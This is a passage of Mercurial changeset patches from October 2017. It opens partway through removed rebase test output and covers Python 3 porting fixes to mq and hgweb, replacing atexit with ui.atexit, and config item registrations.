-  rebasing 5:83780307a7e8 "K" (K)
-  rebasing 6:e131637a1cb6 "L" (L)
-  rebasing 11:d1f6d0c3c7e4 "M" (M)
-  rebasing 12:7aaec6f81888 "N" (N)
-  rebasing 15:325bc8f1760d "P" (P tip)
-  o    15: P
-  |\
-  | o    14: N
-  | |\
-  o \ \    13: M
-  |\ \ \
-  | | | o  12: L
-  | | | |
-  | | o |  11: K
-  | | |/
-  | o /  10: J
-  | |/
-  o /  9: I
-  |/
-  | o    8: H
-  | |\
-  | | | o  7: G
-  | | |/|
-  | | | o  6: F
-  | | | |
-  | | o |  5: E
-  | | |/
-  | o |  4: D
-  | |\|
-  +---o  3: C
-  | |
-  o |  2: Z
-  | |
-  | o  1: B
-  |/
-  o  0: A
-  
-Slightly more complex merge case (mentioned in https://www.mercurial-scm.org/pipermail/mercurial-devel/2016-November/091074.html):
-
-  $ rebasewithdag -b A3+B3 -d Z <<'EOF'
-  > Z     C1    A3     B3
-  > |    /     / \    / \
-  > M3 C0     A1  A2 B1  B2
-  > | /       |   |  |   |
-  > M2        M1  C1 C1  M3
-  > |
-  > M1
-  > |
-  > M0
-  > EOF
-  rebasing 4:8817fae53c94 "C0" (C0)
-  rebasing 6:06ca5dfe3b5b "B2" (B2)
-  rebasing 7:73508237b032 "C1" (C1)
-  rebasing 9:fdb955e2faed "A2" (A2)
-  rebasing 11:4e449bd1a643 "A3" (A3)
-  rebasing 10:0a33b0519128 "B1" (B1)
-  rebasing 12:209327807c3a "B3" (B3 tip)
-  o    12: B3
-  |\
-  | o  11: B1
-  | |
-  | | o    10: A3
-  | | |\
-  | +---o  9: A2
-  | | |
-  | o |  8: C1
-  | | |
-  o | |  7: B2
-  | | |
-  | o |  6: C0
-  |/ /
-  o |  5: Z
-  | |
-  o |  4: M3
-  | |
-  o |  3: M2
-  | |
-  | o  2: A1
-  |/
-  o  1: M1
-  |
-  o  0: M0
-  
-Disconnected graph:
-
-  $ rebasewithdag -b B -d Z <<'EOS'
-  >   B
-  >   |
-  > Z A
-  > EOS
-  nothing to rebase from 112478962961 to 48b9aae0607f
-  [1]
-
-Multiple roots. Roots are ancestors of dest:
-
-  $ rebasewithdag -b B+D -d Z <<'EOF'
-  > D Z B
-  >  \|\|
-  >   C A
-  > EOF
-  rebasing 2:112478962961 "B" (B)
-  rebasing 3:b70f76719894 "D" (D)
-  o  4: D
-  |
-  | o  3: B
-  |/
-  o    2: Z
-  |\
-  | o  1: C
-  |
-  o  0: A
-  
-Multiple roots. One root is not an ancestor of dest:
-
-  $ rebasewithdag -b B+D -d Z <<'EOF'
-  > Z B D
-  >  \|\|
-  >   A C
-  > EOF
-  nothing to rebase from f675d5a1c6a4+b70f76719894 to 262e37e34f63
-  [1]
-
-Multiple roots. One root is not an ancestor of dest. Select using a merge:
-
-  $ rebasewithdag -b E -d Z <<'EOF'
-  >   E
-  >   |\
-  > Z B D
-  >  \|\|
-  >   A C
-  > EOF
-  rebasing 2:f675d5a1c6a4 "B" (B)
-  rebasing 5:f68696fe6af8 "E" (E tip)
-  o    5: E
-  |\
-  | o    4: B
-  | |\
-  | | o  3: Z
-  | | |
-  o | |  2: D
-  |/ /
-  o /  1: C
-   /
-  o  0: A
-  
-Multiple roots. Two children share two parents while dest has only one parent:
-
-  $ rebasewithdag -b B+D -d Z <<'EOF'
-  > Z B D
-  >  \|\|\
-  >   A C A
-  > EOF
-  rebasing 2:f675d5a1c6a4 "B" (B)
-  rebasing 3:c2a779e13b56 "D" (D)
-  o    4: D
-  |\
-  +---o  3: B
-  | |/
-  | o  2: Z
-  | |
-  o |  1: C
-   /
-  o  0: A
-  
 Rebasing using a single transaction
 
   $ hg init singletr && cd singletr
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1506899777 -19800
#      Mon Oct 02 04:46:17 2017 +0530
# Node ID 91250ff7d48ad28763fc4ad2cc5bc6c06f691426
# Parent  8cef8f7d51d0f1e99889779ec1320d5c9c3b91de
py3: fix keyword arguments handling in mq

This patch fixes the handling of keyword arguments to functions on Python 3. On
python3, the keys of keyword arguments need to str which is unicode. So any
keyword argument will get will have str keys and any dictionary we pass as
kwargs must have all the keys as str.

This patch uses pycompat.(strkwargs|byteskwargs) to do so conversion between
bytes keys and str keys and use r'' if there are very less uses and conversion
can be prevented.

Differential Revision: https://phab.mercurial-scm.org/D972

diff --git a/hgext/mq.py b/hgext/mq.py
--- a/hgext/mq.py
+++ b/hgext/mq.py
@@ -2266,6 +2266,7 @@
     Returns 0 on success."""
 
     q = repo.mq
+    opts = pycompat.byteskwargs(opts)
 
     if patch:
         if patch not in q.series:
@@ -2299,6 +2300,7 @@
     Returns 0 on success."""
 
     q = repo.mq
+    opts = pycompat.byteskwargs(opts)
     if patch:
         if patch not in q.series:
             raise error.Abort(_("patch %s is not in series file") % patch)
@@ -2361,6 +2363,7 @@
 
     Returns 0 if import succeeded.
     """
+    opts = pycompat.byteskwargs(opts)
     with repo.lock(): # cause this may move phase
         q = repo.mq
         try:
@@ -2415,7 +2418,7 @@
 
     This command is deprecated. Without -c, it's implied by other relevant
     commands. With -c, use :hg:`init --mq` instead."""
-    return qinit(ui, repo, create=opts.get('create_repo'))
+    return qinit(ui, repo, create=opts.get(r'create_repo'))
 
 @command("qclone",
          [('', 'pull', None, _('use pull protocol to copy metadata')),
@@ -2445,6 +2448,7 @@
 
     Return 0 on success.
     '''
+    opts = pycompat.byteskwargs(opts)
     def patchdir(repo):
         """compute a patch repo url from a repo object"""
         url = repo.url()
@@ -2526,8 +2530,8 @@
     """print the entire series file
 
     Returns 0 on success."""
-    repo.mq.qseries(repo, missing=opts.get('missing'),
-                    summary=opts.get('summary'))
+    repo.mq.qseries(repo, missing=opts.get(r'missing'),
+                    summary=opts.get(r'summary'))
     return 0
 
 @command("qtop", seriesopts, _('hg qtop [-s]'))
@@ -2543,7 +2547,7 @@
 
     if t:
         q.qseries(repo, start=t - 1, length=1, status='A',
-                  summary=opts.get('summary'))
+                  summary=opts.get(r'summary'))
     else:
         ui.write(_("no patches applied\n"))
         return 1
@@ -2558,7 +2562,7 @@
     if end == len(q.series):
         ui.write(_("all patches applied\n"))
         return 1
-    q.qseries(repo, start=end, length=1, summary=opts.get('summary'))
+    q.qseries(repo, start=end, length=1, summary=opts.get(r'summary'))
 
 @command("qprev", seriesopts, _('hg qprev [-s]'))
 def prev(ui, repo, **opts):
@@ -2575,7 +2579,7 @@
         return 1
     idx = q.series.index(q.applied[-2].name)
     q.qseries(repo, start=idx, length=1, status='A',
-              summary=opts.get('summary'))
+              summary=opts.get(r'summary'))
 
 def setupheaderopts(ui, opts):
     if not opts.get('user') and opts.get('currentuser'):
@@ -2621,11 +2625,12 @@
 
     Returns 0 on successful creation of a new patch.
     """
+    opts = pycompat.byteskwargs(opts)
     msg = cmdutil.logmessage(ui, opts)
     q = repo.mq
     opts['msg'] = msg
     setupheaderopts(ui, opts)
-    q.new(repo, patch, *args, **opts)
+    q.new(repo, patch, *args, **pycompat.strkwargs(opts))
     q.savedirty()
     return 0
 
@@ -2666,11 +2671,12 @@
 
     Returns 0 on success.
     """
+    opts = pycompat.byteskwargs(opts)
     q = repo.mq
     message = cmdutil.logmessage(ui, opts)
     setupheaderopts(ui, opts)
     with repo.wlock():
-        ret = q.refresh(repo, pats, msg=message, **opts)
+        ret = q.refresh(repo, pats, msg=message, **pycompat.strkwargs(opts))
         q.savedirty()
         return ret
 
@@ -2694,7 +2700,7 @@
     Returns 0 on success.
     """
     ui.pager('qdiff')
-    repo.mq.diff(repo, pats, opts)
+    repo.mq.diff(repo, pats, pycompat.byteskwargs(opts))
     return 0
 
 @command('qfold',
@@ -2716,6 +2722,7 @@
     current patch header, separated by a line of ``* * *``.
 
     Returns 0 on success."""
+    opts = pycompat.byteskwargs(opts)
     q = repo.mq
     if not files:
         raise error.Abort(_('qfold requires at least one patch name'))
@@ -2774,6 +2781,7 @@
     '''push or pop patches until named patch is at top of stack
 
     Returns 0 on success.'''
+    opts = pycompat.byteskwargs(opts)
     opts = fixkeepchangesopts(ui, opts)
     q = repo.mq
     patch = q.lookup(patch)
@@ -2839,7 +2847,7 @@
     applied = set(p.name for p in q.applied)
     patch = None
     args = list(args)
-    if opts.get('list'):
+    if opts.get(r'list'):
         if args or opts.get('none'):
             raise error.Abort(_('cannot mix -l/--list with options or '
                                'arguments'))
@@ -2933,6 +2941,7 @@
     q = repo.mq
     mergeq = None
 
+    opts = pycompat.byteskwargs(opts)
     opts = fixkeepchangesopts(ui, opts)
     if opts.get('merge'):
         if opts.get('name'):
@@ -2973,6 +2982,7 @@
 
     Return 0 on success.
     """
+    opts = pycompat.byteskwargs(opts)
     opts = fixkeepchangesopts(ui, opts)
     localupdate = True
     if opts.get('name'):
@@ -3052,8 +3062,8 @@
     This command is deprecated, use :hg:`rebase` instead."""
     rev = repo.lookup(rev)
     q = repo.mq
-    q.restore(repo, rev, delete=opts.get('delete'),
-              qupdate=opts.get('update'))
+    q.restore(repo, rev, delete=opts.get(r'delete'),
+              qupdate=opts.get(r'update'))
     q.savedirty()
     return 0
 
@@ -3069,6 +3079,7 @@
 
     This command is deprecated, use :hg:`rebase` instead."""
     q = repo.mq
+    opts = pycompat.byteskwargs(opts)
     message = cmdutil.logmessage(ui, opts)
     ret = q.save(repo, msg=message)
     if ret:
@@ -3138,6 +3149,7 @@
     Returns 0 on success.'''
 
     q = repo.mq
+    opts = pycompat.byteskwargs(opts)
     guards = q.active()
     pushable = lambda i: q.pushable(q.applied[i].name)[0]
     if args or opts.get('none'):
@@ -3226,9 +3238,9 @@
 
     Returns 0 on success.
     """
-    if not opts.get('applied') and not revrange:
+    if not opts.get(r'applied') and not revrange:
         raise error.Abort(_('no revisions specified'))
-    elif opts.get('applied'):
+    elif opts.get(r'applied'):
         revrange = ('qbase::qtip',) + revrange
 
     q = repo.mq
@@ -3357,6 +3369,7 @@
         fh.close()
         repo.vfs.rename('patches.queues.new', _allqueues)
 
+    opts = pycompat.byteskwargs(opts)
     if not name or opts.get('list') or opts.get('active'):
         current = _getcurrent()
         if opts.get('active'):
@@ -3528,13 +3541,13 @@
 
 def mqimport(orig, ui, repo, *args, **kwargs):
     if (util.safehasattr(repo, 'abortifwdirpatched')
-        and not kwargs.get('no_commit', False)):
+        and not kwargs.get(r'no_commit', False)):
         repo.abortifwdirpatched(_('cannot import over an applied patch'),
-                                   kwargs.get('force'))
+                                   kwargs.get(r'force'))
     return orig(ui, repo, *args, **kwargs)
 
 def mqinit(orig, ui, *args, **kwargs):
-    mq = kwargs.pop('mq', None)
+    mq = kwargs.pop(r'mq', None)
 
     if not mq:
         return orig(ui, *args, **kwargs)
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1506899886 -19800
#      Mon Oct 02 04:48:06 2017 +0530
# Node ID 1d804c22c67128dd1b625dd681925d50f1a6fc09
# Parent  91250ff7d48ad28763fc4ad2cc5bc6c06f691426
py3: use '%d' for integers instead of '%s'

Differential Revision: https://phab.mercurial-scm.org/D973

diff --git a/mercurial/filemerge.py b/mercurial/filemerge.py
--- a/mercurial/filemerge.py
+++ b/mercurial/filemerge.py
@@ -515,7 +515,7 @@
                            (tool, fcd.path()))
         repo.ui.debug('launching merge tool: %s\n' % cmd)
         r = ui.system(cmd, cwd=repo.root, environ=env, blockedtag='mergetool')
-        repo.ui.debug('merge tool returned: %s\n' % r)
+        repo.ui.debug('merge tool returned: %d\n' % r)
         return True, r, False
     finally:
         util.unlink(b)
diff --git a/mercurial/mdiff.py b/mercurial/mdiff.py
--- a/mercurial/mdiff.py
+++ b/mercurial/mdiff.py
@@ -457,7 +457,7 @@
     # TODO: deltas
     ret = []
     ret.append('GIT binary patch\n')
-    ret.append('literal %s\n' % len(tn))
+    ret.append('literal %d\n' % len(tn))
     for l in chunk(zlib.compress(tn)):
         ret.append(fmtline(l))
     ret.append('\n')
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507236409 0
#      Thu Oct 05 20:46:49 2017 +0000
# Node ID 30ae924a9e0005b4af48baaf90bfc37a23a14744
# Parent  1d804c22c67128dd1b625dd681925d50f1a6fc09
test-push-race: use 'ui.atexit' instead of python's 'atexit'

Callbacks registered with 'atexit' are sometimes not called (like when a
process is killed by the SIGTERM signal). Therefore, this commit replaces it
with 'ui.atexit' which ensures that the callbacks are always called. This also
makes the test compatible with chg.

Test Plan:
Ran the test 'test-push-race.t' with and without the '--chg' option.

Differential Revision: https://phab.mercurial-scm.org/D957

diff --git a/tests/test-push-race.t b/tests/test-push-race.t
--- a/tests/test-push-race.t
+++ b/tests/test-push-race.t
@@ -15,7 +15,6 @@
   > Client with the extensions will create a file when ready and get stuck until
   > a file is created."""
   > 
-  > import atexit
   > import errno
   > import os
   > import time
@@ -51,7 +50,7 @@
   >                 except OSError as exc:
   >                     if exc.errno != errno.ENOENT:
   >                         raise
-  >             atexit.register(delete)
+  >             ui.atexit(delete)
   >     return orig(pushop)
   > 
   > def uisetup(ui):
# HG changeset patch
# User Saurabh Singh <singhsrb@fb.com>
# Date 1507238335 25200
#      Thu Oct 05 14:18:55 2017 -0700
# Node ID b521b3a79afd63047f0e30491602389d5c98e65f
# Parent  30ae924a9e0005b4af48baaf90bfc37a23a14744
test-check-code: fail new commits which use 'atexit' instead of 'ui.atexit'

Callbacks registered with 'atexit' are sometimes not called (like when
hg aborts and calls os._exit). On the other hand, callbacks registered with
'ui.atexit' are called in most cases. Therefore, encouraging the use of
'ui.atexit' by failing the test 'test-check-code.t' appropriately.

Test Plan:
Ran the test 'test-check-code.t' after importing 'atexit' in one of
the py files and confirmed that the test fails.

Differential Revision: https://phab.mercurial-scm.org/D961

diff --git a/contrib/check-code.py b/contrib/check-code.py
--- a/contrib/check-code.py
+++ b/contrib/check-code.py
@@ -345,6 +345,7 @@
     (r'def.*[( ]\w+=\{\}', "don't use mutable default arguments"),
     (r'\butil\.Abort\b', "directly use error.Abort"),
     (r'^@(\w*\.)?cachefunc', "module-level @cachefunc is risky, please avoid"),
+    (r'^import atexit', "don't use atexit, use ui.atexit"),
     (r'^import Queue', "don't use Queue, use util.queue + util.empty"),
     (r'^import cStringIO', "don't use cStringIO.StringIO, use util.stringio"),
     (r'^import urllib', "don't use urllib, use util.urlreq/util.urlerr"),
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507227171 14400
#      Thu Oct 05 14:12:51 2017 -0400
# Node ID e21f274cccea6ae15523830f7a4d5229ef77ec85
# Parent  b521b3a79afd63047f0e30491602389d5c98e65f
hgweb: in protocol adapter, avoid control reaching end of non-void function

This greatly confounded some Python 3 porting work, once it was
managing to get this far.

Differential Revision: https://phab.mercurial-scm.org/D962

diff --git a/mercurial/hgweb/protocol.py b/mercurial/hgweb/protocol.py
--- a/mercurial/hgweb/protocol.py
+++ b/mercurial/hgweb/protocol.py
@@ -15,6 +15,7 @@
 )
 
 from .. import (
+    error,
     util,
     wireproto,
 )
@@ -199,3 +200,4 @@
         rsp = rsp.message
         req.respond(HTTP_OK, HGERRTYPE, body=rsp)
         return []
+    raise error.ProgrammingError('hgweb.protocol internal failure', rsp)
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507227200 14400
#      Thu Oct 05 14:13:20 2017 -0400
# Node ID c23fa3103925848c26be72151003ffef254b444a
# Parent  e21f274cccea6ae15523830f7a4d5229ef77ec85
hgweb: in protocol adapter, look for bytes instances, not str

Differential Revision: https://phab.mercurial-scm.org/D963

diff --git a/mercurial/hgweb/protocol.py b/mercurial/hgweb/protocol.py
--- a/mercurial/hgweb/protocol.py
+++ b/mercurial/hgweb/protocol.py
@@ -164,7 +164,7 @@
                 yield chunk
 
     rsp = wireproto.dispatch(repo, p, cmd)
-    if isinstance(rsp, str):
+    if isinstance(rsp, bytes):
         req.respond(HTTP_OK, HGTYPE, body=rsp)
         return []
     elif isinstance(rsp, wireproto.streamres):
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507227470 14400
#      Thu Oct 05 14:17:50 2017 -0400
# Node ID 67873ec0f4ce595543312e91848ab98754006efa
# Parent  c23fa3103925848c26be72151003ffef254b444a
hgweb: produce native string for etag value

Also use %d since we know mtime is numeric.

Differential Revision: https://phab.mercurial-scm.org/D966

diff --git a/mercurial/hgweb/common.py b/mercurial/hgweb/common.py
--- a/mercurial/hgweb/common.py
+++ b/mercurial/hgweb/common.py
@@ -208,7 +208,7 @@
             encoding.environ.get("EMAIL") or "")
 
 def caching(web, req):
-    tag = 'W/"%s"' % web.mtime
+    tag = r'W/"%d"' % web.mtime
     if req.env.get('HTTP_IF_NONE_MATCH') == tag:
         raise ErrorResponse(HTTP_NOT_MODIFIED)
     req.headers.append(('ETag', tag))
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507227722 14400
#      Thu Oct 05 14:22:02 2017 -0400
# Node ID 482d6f6dba91bb144070a44f2d05929e0450d748
# Parent  67873ec0f4ce595543312e91848ab98754006efa
hgweb: when constructing or adding to a wsgi environ dict, use native strs

That's what's required of us to work with the WSGI API on Python 3.

Differential Revision: https://phab.mercurial-scm.org/D967

diff --git a/mercurial/hgweb/request.py b/mercurial/hgweb/request.py
--- a/mercurial/hgweb/request.py
+++ b/mercurial/hgweb/request.py
@@ -59,15 +59,15 @@
     for obtaining request parameters, writing HTTP output, etc.
     """
     def __init__(self, wsgienv, start_response):
-        version = wsgienv['wsgi.version']
+        version = wsgienv[r'wsgi.version']
         if (version < (1, 0)) or (version >= (2, 0)):
             raise RuntimeError("Unknown and unsupported WSGI version %d.%d"
                                % version)
-        self.inp = wsgienv['wsgi.input']
-        self.err = wsgienv['wsgi.errors']
-        self.threaded = wsgienv['wsgi.multithread']
-        self.multiprocess = wsgienv['wsgi.multiprocess']
-        self.run_once = wsgienv['wsgi.run_once']
+        self.inp = wsgienv[r'wsgi.input']
+        self.err = wsgienv[r'wsgi.errors']
+        self.threaded = wsgienv[r'wsgi.multithread']
+        self.multiprocess = wsgienv[r'wsgi.multiprocess']
+        self.run_once = wsgienv[r'wsgi.run_once']
         self.env = wsgienv
         self.form = normalize(cgi.parse(self.inp,
                                         self.env,
diff --git a/mercurial/hgweb/server.py b/mercurial/hgweb/server.py
--- a/mercurial/hgweb/server.py
+++ b/mercurial/hgweb/server.py
@@ -63,7 +63,7 @@
         """Prepare .socket of new HTTPServer instance"""
 
     def __init__(self, *args, **kargs):
-        self.protocol_version = 'HTTP/1.1'
+        self.protocol_version = r'HTTP/1.1'
         httpservermod.basehttprequesthandler.__init__(self, *args, **kargs)
 
     def _log_any(self, fp, format, *args):
@@ -112,45 +112,45 @@
         path, query = _splitURI(self.path)
 
         env = {}
-        env['GATEWAY_INTERFACE'] = 'CGI/1.1'
-        env['REQUEST_METHOD'] = self.command
-        env['SERVER_NAME'] = self.server.server_name
-        env['SERVER_PORT'] = str(self.server.server_port)
-        env['REQUEST_URI'] = self.path
-        env['SCRIPT_NAME'] = self.server.prefix
-        env['PATH_INFO'] = path[len(self.server.prefix):]
-        env['REMOTE_HOST'] = self.client_address[0]
-        env['REMOTE_ADDR'] = self.client_address[0]
+        env[r'GATEWAY_INTERFACE'] = r'CGI/1.1'
+        env[r'REQUEST_METHOD'] = self.command
+        env[r'SERVER_NAME'] = self.server.server_name
+        env[r'SERVER_PORT'] = str(self.server.server_port)
+        env[r'REQUEST_URI'] = self.path
+        env[r'SCRIPT_NAME'] = self.server.prefix
+        env[r'PATH_INFO'] = path[len(self.server.prefix):]
+        env[r'REMOTE_HOST'] = self.client_address[0]
+        env[r'REMOTE_ADDR'] = self.client_address[0]
         if query:
-            env['QUERY_STRING'] = query
+            env[r'QUERY_STRING'] = query
 
         if self.headers.typeheader is None:
-            env['CONTENT_TYPE'] = self.headers.type
+            env[r'CONTENT_TYPE'] = self.headers.type
         else:
-            env['CONTENT_TYPE'] = self.headers.typeheader
+            env[r'CONTENT_TYPE'] = self.headers.typeheader
         length = self.headers.getheader('content-length')
         if length:
-            env['CONTENT_LENGTH'] = length
+            env[r'CONTENT_LENGTH'] = length
         for header in [h for h in self.headers.keys()
                        if h not in ('content-type', 'content-length')]:
-            hkey = 'HTTP_' + header.replace('-', '_').upper()
-            hval = self.headers.getheader(header)
-            hval = hval.replace('\n', '').strip()
+            hkey = r'HTTP_' + header.replace(r'-', r'_').upper()
+            hval = self.headers.get(header)
+            hval = hval.replace(r'\n', r'').strip()
             if hval:
                 env[hkey] = hval
-        env['SERVER_PROTOCOL'] = self.request_version
-        env['wsgi.version'] = (1, 0)
-        env['wsgi.url_scheme'] = self.url_scheme
-        if env.get('HTTP_EXPECT', '').lower() == '100-continue':
+        env[r'SERVER_PROTOCOL'] = self.request_version
+        env[r'wsgi.version'] = (1, 0)
+        env[r'wsgi.url_scheme'] = self.url_scheme
+        if env.get(r'HTTP_EXPECT', '').lower() == '100-continue':
             self.rfile = common.continuereader(self.rfile, self.wfile.write)
 
-        env['wsgi.input'] = self.rfile
-        env['wsgi.errors'] = _error_logger(self)
-        env['wsgi.multithread'] = isinstance(self.server,
+        env[r'wsgi.input'] = self.rfile
+        env[r'wsgi.errors'] = _error_logger(self)
+        env[r'wsgi.multithread'] = isinstance(self.server,
                                              socketserver.ThreadingMixIn)
-        env['wsgi.multiprocess'] = isinstance(self.server,
+        env[r'wsgi.multiprocess'] = isinstance(self.server,
                                               socketserver.ForkingMixIn)
-        env['wsgi.run_once'] = 0
+        env[r'wsgi.run_once'] = 0
 
         self.saved_status = None
         self.saved_headers = []
diff --git a/mercurial/hgweb/wsgicgi.py b/mercurial/hgweb/wsgicgi.py
--- a/mercurial/hgweb/wsgicgi.py
+++ b/mercurial/hgweb/wsgicgi.py
@@ -24,28 +24,28 @@
     util.setbinary(util.stdout)
 
     environ = dict(encoding.environ.iteritems())
-    environ.setdefault('PATH_INFO', '')
-    if environ.get('SERVER_SOFTWARE', '').startswith('Microsoft-IIS'):
+    environ.setdefault(r'PATH_INFO', '')
+    if environ.get(r'SERVER_SOFTWARE', r'').startswith(r'Microsoft-IIS'):
         # IIS includes script_name in PATH_INFO
-        scriptname = environ['SCRIPT_NAME']
-        if environ['PATH_INFO'].startswith(scriptname):
-            environ['PATH_INFO'] = environ['PATH_INFO'][len(scriptname):]
+        scriptname = environ[r'SCRIPT_NAME']
+        if environ[r'PATH_INFO'].startswith(scriptname):
+            environ[r'PATH_INFO'] = environ[r'PATH_INFO'][len(scriptname):]
 
     stdin = util.stdin
-    if environ.get('HTTP_EXPECT', '').lower() == '100-continue':
+    if environ.get(r'HTTP_EXPECT', r'').lower() == r'100-continue':
         stdin = common.continuereader(stdin, util.stdout.write)
 
-    environ['wsgi.input'] = stdin
-    environ['wsgi.errors'] = util.stderr
-    environ['wsgi.version'] = (1, 0)
-    environ['wsgi.multithread'] = False
-    environ['wsgi.multiprocess'] = True
-    environ['wsgi.run_once'] = True
+    environ[r'wsgi.input'] = stdin
+    environ[r'wsgi.errors'] = util.stderr
+    environ[r'wsgi.version'] = (1, 0)
+    environ[r'wsgi.multithread'] = False
+    environ[r'wsgi.multiprocess'] = True
+    environ[r'wsgi.run_once'] = True
 
-    if environ.get('HTTPS', 'off').lower() in ('on', '1', 'yes'):
-        environ['wsgi.url_scheme'] = 'https'
+    if environ.get(r'HTTPS', r'off').lower() in (r'on', r'1', r'yes'):
+        environ[r'wsgi.url_scheme'] = r'https'
     else:
-        environ['wsgi.url_scheme'] = 'http'
+        environ[r'wsgi.url_scheme'] = r'http'
 
     headers_set = []
     headers_sent = []
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507227969 14400
#      Thu Oct 05 14:26:09 2017 -0400
# Node ID 34fcb0f66837fc446d586280f84f9099257c3b8f
# Parent  482d6f6dba91bb144070a44f2d05929e0450d748
request: use trivial iterator over dictionary keys

Differential Revision: https://phab.mercurial-scm.org/D968

diff --git a/mercurial/hgweb/request.py b/mercurial/hgweb/request.py
--- a/mercurial/hgweb/request.py
+++ b/mercurial/hgweb/request.py
@@ -39,7 +39,7 @@
 
 def normalize(form):
     # first expand the shortcuts
-    for k in shortcuts.iterkeys():
+    for k in shortcuts:
         if k in form:
             for name, value in shortcuts[k]:
                 if value is None:
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507228041 14400
#      Thu Oct 05 14:27:21 2017 -0400
# Node ID 528b21b853aa95ecb1dbdb46059b18740a4853ba
# Parent  34fcb0f66837fc446d586280f84f9099257c3b8f
request: coerce content-type to native str

Again, required by WSGI.

Differential Revision: https://phab.mercurial-scm.org/D969

diff --git a/mercurial/hgweb/request.py b/mercurial/hgweb/request.py
--- a/mercurial/hgweb/request.py
+++ b/mercurial/hgweb/request.py
@@ -19,6 +19,7 @@
 )
 
 from .. import (
+    pycompat,
     util,
 )
 
@@ -89,6 +90,8 @@
             pass
 
     def respond(self, status, type, filename=None, body=None):
+        if not isinstance(type, str):
+            type = pycompat.sysstr(type)
         if self._start_response is not None:
             self.headers.append(('Content-Type', type))
             if filename:
# HG changeset patch
# User Augie Fackler <augie@google.com>
# Date 1507228153 14400
#      Thu Oct 05 14:29:13 2017 -0400
# Node ID 8afc25e7effc71241f53bf709c24c72bfae0f6b6
# Parent  528b21b853aa95ecb1dbdb46059b18740a4853ba
hgweb: extract function for loading style from request context

Also make it work on Python 3.

Differential Revision: https://phab.mercurial-scm.org/D970

diff --git a/mercurial/hgweb/hgweb_mod.py b/mercurial/hgweb/hgweb_mod.py
--- a/mercurial/hgweb/hgweb_mod.py
+++ b/mercurial/hgweb/hgweb_mod.py
@@ -30,6 +30,7 @@
     hg,
     hook,
     profiling,
+    pycompat,
     repoview,
     templatefilters,
     templater,
@@ -60,6 +61,17 @@
     ('bz2', ('application/x-bzip2', 'tbz2', '.tar.bz2', None)),
 ))
 
+def getstyle(req, configfn, templatepath):
+    fromreq = req.form.get('style', [None])[0]
+    if fromreq is not None:
+        fromreq = pycompat.sysbytes(fromreq)
+    styles = (
+        fromreq,
+        configfn('web', 'style'),
+        'paper',
+    )
+    return styles, templater.stylemap(styles, templatepath)
+
 def makebreadcrumb(url, prefix=''):
     '''Return a 'URL breadcrumb' list
 
@@ -170,12 +182,8 @@
         # figure out which style to use
 
         vars = {}
-        styles = (
-            req.form.get('style', [None])[0],
-            self.config('web', 'style'),
-            'paper',
-        )
-        style, mapfile = templater.stylemap(styles, self.templatepath)
+        styles, (style, mapfile) = getstyle(req, self.config,
+                                            self.templatepath)
         if style == styles[0]:
             vars['style'] = style
 
diff --git a/mercurial/hgweb/hgwebdir_mod.py b/mercurial/hgweb/hgwebdir_mod.py
--- a/mercurial/hgweb/hgwebdir_mod.py
+++ b/mercurial/hgweb/hgwebdir_mod.py
@@ -503,12 +503,8 @@
             url += '/'
 
         vars = {}
-        styles = (
-            req.form.get('style', [None])[0],
-            config('web', 'style'),
-            'paper'
-        )
-        style, mapfile = templater.stylemap(styles, self.templatepath)
+        styles, (style, mapfile) = hgweb_mod.getstyle(req, config,
+                                                      self.templatepath)
         if style == styles[0]:
             vars['style'] = style
 
# HG changeset patch
# User Pulkit Goyal <7895pulkit@gmail.com>
# Date 1507417782 -19800
#      Sun Oct 08 04:39:42 2017 +0530
# Node ID e79b3611223b96c7d3482b19cb3102153fc0d744
# Parent  8afc25e7effc71241f53bf709c24c72bfae0f6b6
copies: add docs for config `experimental.copytrace.sourcecommitlimit`

This patch adds documentation for the config option. The config name does not
convey much and hence documentation was required.

Differential Revision: https://phab.mercurial-scm.org/D986

diff --git a/mercurial/copies.py b/mercurial/copies.py
--- a/mercurial/copies.py
+++ b/mercurial/copies.py
@@ -380,6 +380,10 @@
     """ Checks that if base, source and destination are all no-public branches,
     if yes let's use the full copytrace algorithm for increased capabilities
     since it will be fast enough.
+
+    `experimental.copytrace.sourcecommitlimit` can be used to set a limit for
+    number of changesets from c1 to base such that if number of changesets are
+    more than the limit, full copytracing algorithm won't be used.
     """
     if c1.rev() is None:
         c1 = c1.p1()
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507486294 -7200
#      Sun Oct 08 20:11:34 2017 +0200
# Node ID 49b72b6f6d66602a6a8ee5a678d8602001bd58dd
# Parent  e79b3611223b96c7d3482b19cb3102153fc0d744
configitems: register the 'blackbox.track' config

diff --git a/hgext/blackbox.py b/hgext/blackbox.py
--- a/hgext/blackbox.py
+++ b/hgext/blackbox.py
@@ -70,6 +70,9 @@
 configitem('blackbox', 'logsource',
     default=False,
 )
+configitem('blackbox', 'track',
+    default=['*'],
+)
 
 lastui = None
 
@@ -121,7 +124,7 @@
 
         @util.propertycache
         def track(self):
-            return self.configlist('blackbox', 'track', ['*'])
+            return self.configlist('blackbox', 'track')
 
         def log(self, event, *msg, **opts):
             global lastui
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507486569 -7200
#      Sun Oct 08 20:16:09 2017 +0200
# Node ID 592a3cc1ebc41d84c0d5546ac2a450104563503f
# Parent  49b72b6f6d66602a6a8ee5a678d8602001bd58dd
configitems: register the 'commands.show.aliasprefix' config

diff --git a/hgext/show.py b/hgext/show.py
--- a/hgext/show.py
+++ b/hgext/show.py
@@ -51,6 +51,13 @@
 
 cmdtable = {}
 command = registrar.command(cmdtable)
+
+configtable = {}
+configitem = registrar.configitem(configtable)
+configitem('commands', 'show.aliasprefix',
+    default=list,
+)
+
 revsetpredicate = registrar.revsetpredicate()
 
 class showcmdfunc(registrar._funcregistrarbase):
# HG changeset patch
# User Boris Feld <boris.feld@octobus.net>
# Date 1507488139 -7200
#      Sun Oct 08 20:42:19 2017 +0200
# Node ID 0314e02efa25f79a56a7456e76c5e42406644a29
# Parent  592a3cc1ebc41d84c0d5546ac2a450104563503f
